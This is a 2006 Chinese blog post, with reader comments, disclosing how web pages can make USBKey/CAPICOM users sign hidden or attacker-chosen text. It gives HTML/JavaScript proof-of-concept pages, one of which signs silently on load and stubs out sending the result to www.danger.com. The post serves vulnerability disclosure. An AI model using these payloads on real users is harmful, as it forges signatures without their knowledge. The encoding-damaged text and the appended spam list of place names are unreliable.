David.Turing's blog

           

          [原創(chuàng)]國(guó)內(nèi)大部分的USBKey通過(guò)B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞

          很多人喜歡使用UsbKey產(chǎn)生數(shù)字簽名的方式提交到服務(wù)器,最近我做的幾個(gè)省廳的項(xiàng)目均如此,利用USBKey提供的ActiveX插件(更常見(jiàn)的是CAPICOM接口)通過(guò)USBKey廠商提供的WindowsCSP去調(diào)用UsbKey產(chǎn)生數(shù)字簽名。

          1,?
          用戶在頁(yè)面瀏覽文書(shū)

          ??????2,? 用戶對(duì)頁(yè)面中的 Form 數(shù)據(jù)進(jìn)行簽名

          ??????3,? 在本地產(chǎn)生數(shù)字簽名

          ??????4,? 數(shù)字簽名提交到服務(wù)器


          ???大家都認(rèn)為以上的方案非常可靠,但這種方案存在一個(gè)極為嚴(yán)重的安全問(wèn)題——誘導(dǎo)簽名。
          ???UsbKey的用戶在大多數(shù)情況下無(wú)法確認(rèn)自己看到的數(shù)據(jù)就是自己說(shuō)簽名的數(shù)據(jù)!因?yàn)椋灻麛?shù)據(jù)源是通過(guò)
          JavaScript 去控制的,而不是用戶。

          我舉一個(gè)簡(jiǎn)單的例子,如下面的頁(yè)面 ,? 用戶看到并以為自己產(chǎn)生簽名的源數(shù)據(jù)是“逮捕張子強(qiáng)及其同伙” , 但其實(shí)不是!

          <script src="Sign.js"></script>

          <OBJECT id="oCAPICOM"

          codeBase="capicom.cab#version=2,0,0,3" classid="clsid:A996E48C-D3DC-4244-89F7-AFA33EC60679"></OBJECT>

          ?

          <br>

          <form id="writeSig" method="post" name="writeSig" action="/SignServlet" target="_top">

          看上去進(jìn)行簽名的數(shù)據(jù): <input name="data"? value=" 逮捕張子強(qiáng)及其同伙 " >

          ?

          <br>

          <!-- 實(shí)際上進(jìn)行簽名的數(shù)據(jù): " 釋放張子強(qiáng)及其同伙 " -->

          <input type="hidden" name="data_danger" value=" 釋放張子強(qiáng)及其同伙 " >

          <br>

          ?

          數(shù)字簽名結(jié)果: <textarea cols="100" rows="20" id="theSignedData"></textarea>

          <br>

          <INPUT TYPE="button" name=t1

          value=" 簽名數(shù)據(jù) " onclick="theSignedData.value=pkiSignData(data_danger.value)">

          </form>

          上面的惡意例子能夠運(yùn)行于所有的 USBKey 的頁(yè)面,用戶簽名的數(shù)據(jù)其實(shí)是“釋放張子強(qiáng)及其同伙”。但由于數(shù)據(jù)被隱藏于頁(yè)面之后,用戶根本看不到,以至于產(chǎn)生惡意誘導(dǎo)簽名的嚴(yán)重后果。

          防止這種惡意誘導(dǎo)簽名的辦法通常是在服務(wù)器要確保所有的涉及數(shù)字簽名的頁(yè)面在傳遞到客戶端 IE 瀏覽器前,都不會(huì)被篡改,但這種方法不能保證 100% 安全,因?yàn)樵谟脩裟且欢?,仍然存在一種非常高風(fēng)險(xiǎn)的誘導(dǎo)簽名的可能,甚至是未經(jīng)用戶許可,直接調(diào)用用戶 USBKey 去產(chǎn)生惡意數(shù)字簽名,看下面的例子:

          用戶在瀏覽頁(yè)面的時(shí)候,已經(jīng)在頁(yè)面背后無(wú)聲無(wú)色地產(chǎn)生了數(shù)字簽名,而且用戶根本無(wú)法知道自己已經(jīng)對(duì)“ 我今天去好又多偷了幾包煙 ”這樣的內(nèi)容進(jìn)行了簽名!

          下面的例子是真實(shí)的例子,能夠運(yùn)行于任何的 IE 瀏覽器,最后的結(jié)果是,頁(yè)面通過(guò)用戶的 UsbKey 產(chǎn)生了惡意簽名并送到 www.danger.com 。

          <script src="Sign.js"></script>

          <OBJECT id="oCAPICOM"

          codeBase="capicom.cab#version=2,0,0,3" classid="clsid:A996E48C-D3DC-4244-89F7-AFA33EC60679"></OBJECT>

          <body onLoad="signWithAllowed()">

          <br>

          <form? id="writeSig" method="post" name="writeSig" action="/SignServlet" target="_top">

          你在瀏覽文書(shū): <input name="data"? value=" 逮捕張子強(qiáng)及其同伙 ">

          你以為這是僅僅是一個(gè)用于瀏覽的頁(yè)面!!

          ?

          </body>

          ?

          <script>

          function signWithAllowed()

          {

          ???????? //alert(' 惡意簽名執(zhí)行 , 以下的簽名將不知不覺(jué)地被產(chǎn)生,并保存到某個(gè)地方 ');

          ???????? var sign_value=pkiSignData('?我今天去好又多偷了幾包煙 s');

          ???????? //alert(sign_value);

          ???????? sendSignValueToDangerPalce();

          }

          ?

          function sendSignValueToDangerPalce()

          {

          ???????? //Send Signvalue to www.danger.com

          }

          </script>

          ???????在目前大多數(shù)Usbkey中均存在誘導(dǎo)簽名的問(wèn)題,在第一次產(chǎn)生數(shù)字簽名的時(shí)候,USBKey會(huì)提示用戶輸入PIN,但在第2次,第3次簽名動(dòng)作產(chǎn)生的時(shí)候,這些都已經(jīng)是用戶無(wú)法感知的事實(shí)!
          ????? 這就是我為什么不希望使用B/S,而是C/S方式手段產(chǎn)生數(shù)字簽名的原因。
          ???????我的另外一篇文章提到如何通過(guò)Java調(diào)用CryptoAPI:?
          ??????http://www.aygfsteel.com/security/archive/2006/07/11/java_cryptoapi_csp_signature.html, 已經(jīng)被用于SecureX Eclipse Plugin(securex.sourceforge.net)當(dāng)中。
          ??????
          ??????在我負(fù)責(zé)的多個(gè)業(yè)務(wù)系統(tǒng)中的數(shù)字簽名/印章中,均存在上面的危險(xiǎn)!除非我們能夠確保惡意頁(yè)面不存在,否則,某個(gè)程序員在系統(tǒng)中,哪怕是Insert很小一段JS代碼到某個(gè)不顯眼的頁(yè)面,后果是非常嚴(yán)重的。

          posted on 2006-11-13 11:06 david.turing 閱讀(14858) 評(píng)論(12)  編輯  收藏 所屬分類(lèi): Security領(lǐng)域

          評(píng)論

          # re: [原創(chuàng)]國(guó)內(nèi)大部分的USBKey通過(guò)B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2006-11-13 13:16 詠梅

          去掉"Hidden"屬性可否顯現(xiàn)?此腳本可否設(shè)定權(quán)限/  回復(fù)  更多評(píng)論   

          # re: [原創(chuàng)]國(guó)內(nèi)大部分的USBKey通過(guò)B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2006-11-13 14:52 david.turing

          該頁(yè)面可以放在信任站點(diǎn)的任何路徑上,然后直接調(diào)用客戶端的Capicom產(chǎn)生簽名,神不知鬼不覺(jué)。

          測(cè)試頁(yè)面可見(jiàn)于:
          http://securex.sourceforge.net/testusb/SilentSign.htm

          1,把securex.sourceforge.net設(shè)置成信任站點(diǎn)(目前很多項(xiàng)目都是這樣做的)
          2,訪問(wèn)上面的頁(yè)面,然后看看html源代碼
            回復(fù)  更多評(píng)論   

          # re: [原創(chuàng)]國(guó)內(nèi)大部分的USBKey通過(guò)B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2006-12-02 22:05 紅旗的理想

          是不是要USBKey來(lái)測(cè)試上面哪個(gè)連接才看的出效果呢?  回復(fù)  更多評(píng)論   

          # re: [原創(chuàng)]國(guó)內(nèi)大部分的USBKey通過(guò)B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2006-12-05 16:20 小人物

          不是要進(jìn)行驗(yàn)證的嗎?驗(yàn)證的內(nèi)容包含了簽名信息和原始信息,原始信息的來(lái)源應(yīng)該不是來(lái)自hidden的吧?如果說(shuō)那程序員連原始信息來(lái)源處也改了那就是走C/S也沒(méi)用,他還不是可以做個(gè)仿界面來(lái)搞鬼?天下哪有十全十美的方法。  回復(fù)  更多評(píng)論   

          # re: [原創(chuàng)]國(guó)內(nèi)大部分的USBKey通過(guò)B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2006-12-05 20:30 david.turing


          -----BEGIN PGP SIGNED MESSAGE-----
          Hash: SHA1

          你說(shuō)對(duì)了,但我的工作是要客戶認(rèn)為這足夠安全,并且讓
          客戶認(rèn)為(他們會(huì)找第三方公司對(duì)SecureX的客戶端源代碼
          進(jìn)行核實(shí),然后才部署),這樣會(huì)相對(duì)安全很多。

          -----BEGIN PGP SIGNATURE-----
          Version: PGP Desktop 9.0.5 - Enterprise license
          Comment: http://www.pgp.org.cn

          iQA/AwUBRXVmn02j31FcBpdPEQJLoQCfbWlFvBJ6jpOxIpjR/4PU1bzOHfAAoMr9
          BQyMQ7d7qfMetMZbqUbGruAT
          =FEqC
          -----END PGP SIGNATURE-----
            回復(fù)  更多評(píng)論   

          # re: [原創(chuàng)]國(guó)內(nèi)大部分的USBKey通過(guò)B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2006-12-19 12:47 flown

          如果程序員在程序中留有后口,那么系統(tǒng)肯定是不安全的。

          這個(gè)你無(wú)論通過(guò)什么方式都保證不了,無(wú)論是C/S,還是B/S  回復(fù)  更多評(píng)論   

          # re: [原創(chuàng)]國(guó)內(nèi)大部分的USBKey通過(guò)B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2007-11-13 00:10 yhb7805.cublog.cn

          如果不考慮攻擊瀏覽器,那么你說(shuō)的腳本一定是由服務(wù)器的腳本生成的。
          如果服務(wù)器和Browser之間是通過(guò)SSL建立的連接(IE6現(xiàn)在不能對(duì)Server強(qiáng)制進(jìn)行認(rèn)證,但IE7和Vista已經(jīng)可以了),那么一定是真實(shí)的服務(wù)器上的腳本本身有問(wèn)題,出了這樣的問(wèn)題話,一定是Server端承擔(dān)該責(zé)任。
          屬于Server的問(wèn)題,應(yīng)該從Server端去解決,在客戶端和USB?。耍牛偕?,是找不到解決辦法的。因?yàn)榍疤崾钦鎸?shí)的服務(wù)器本身就有問(wèn)題,根源不在這里。  回復(fù)  更多評(píng)論   

          # re: [原創(chuàng)]國(guó)內(nèi)大部分的USBKey通過(guò)B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2007-11-13 00:24 yhb7805.cublog.cn

          您討論的這個(gè)問(wèn)題,已經(jīng)和加密、USBKEY?zèng)]有關(guān)系了。它本質(zhì)已經(jīng)屬于管理范疇了(對(duì)開(kāi)發(fā)過(guò)程、源代碼的安全性的管理)。
          讓技術(shù)手段去解決管理問(wèn)題,本身就是風(fēng)馬牛不相及。所以說(shuō)安全問(wèn)題30%是技術(shù),70%是管理。
          所以您的這個(gè)“嚴(yán)重安全漏洞”有些聳人聽(tīng)聞的意思。
          建議多看看信息安全的規(guī)范。  回復(fù)  更多評(píng)論   

          # re: [原創(chuàng)]國(guó)內(nèi)大部分的USBKey通過(guò)B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2008-06-18 00:47 raiden

          所謂的網(wǎng)絡(luò)安全,終于在這里有人說(shuō)人話了  回復(fù)  更多評(píng)論   

          # re: [原創(chuàng)]國(guó)內(nèi)大部分的USBKey通過(guò)B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2008-11-18 08:41 還要輸入名?

          舉例無(wú)任何意義。這一切都是源于源代碼的漏洞,也就是說(shuō)不是技術(shù)本身,而是人為因素。如果想在代碼當(dāng)中做手腳,任何的努力都是白費(fèi)的。  回復(fù)  更多評(píng)論   

          # re: [原創(chuàng)]國(guó)內(nèi)大部分的USBKey通過(guò)B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2011-08-15 14:48 ca

          這是一個(gè)很矛盾的事情,我們?cè)?jīng)做過(guò)每次簽名都要用戶輸入私鑰保護(hù)PIN碼,但結(jié)果很多用戶(主要是像省廳這樣的大業(yè)主)都嫌太麻煩,即使我們以安全要求強(qiáng)調(diào)這個(gè)問(wèn)題。
          還有更嚴(yán)重的問(wèn)題,很多應(yīng)用喜歡讓用戶在網(wǎng)頁(yè)輸入PIN碼,這樣后可以在不用戶不知不覺(jué)前獲取PIN碼而進(jìn)行各種私鑰操作。  回復(fù)  更多評(píng)論   

          # re: [原創(chuàng)]國(guó)內(nèi)大部分的USBKey通過(guò)B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2014-05-21 11:37 一氣哈成

          這個(gè)問(wèn)題對(duì)一代USBKey確實(shí)有這個(gè)問(wèn)題,但是二代所見(jiàn)即所簽就沒(méi)有這個(gè)問(wèn)題了  回復(fù)  更多評(píng)論   

          導(dǎo)航

          統(tǒng)計(jì)

          常用鏈接

          留言簿(110)

          我參與的團(tuán)隊(duì)

          隨筆分類(lèi)(126)

          隨筆檔案(155)

          文章分類(lèi)(9)

          文章檔案(19)

          相冊(cè)

          搜索

          積分與排名

          最新隨筆

          最新評(píng)論

          閱讀排行榜

          評(píng)論排行榜

          主站蜘蛛池模板: 洱源县| 广昌县| 龙泉市| 榕江县| 黄陵县| 得荣县| 栾川县| 巴彦县| 梁山县| 专栏| 大洼县| 卢湾区| 长泰县| 宜丰县| 竹山县| 台前县| 琼海市| 那坡县| 常德市| 广昌县| 界首市| 定南县| 怀安县| 库尔勒市| 阳城县| 康乐县| 贵溪市| 隆尧县| 兴宁市| 民县| 肇州县| 遵义市| 穆棱市| 雅安市| 时尚| 上饶县| 项城市| 邻水| 都安| 元江| 饶河县|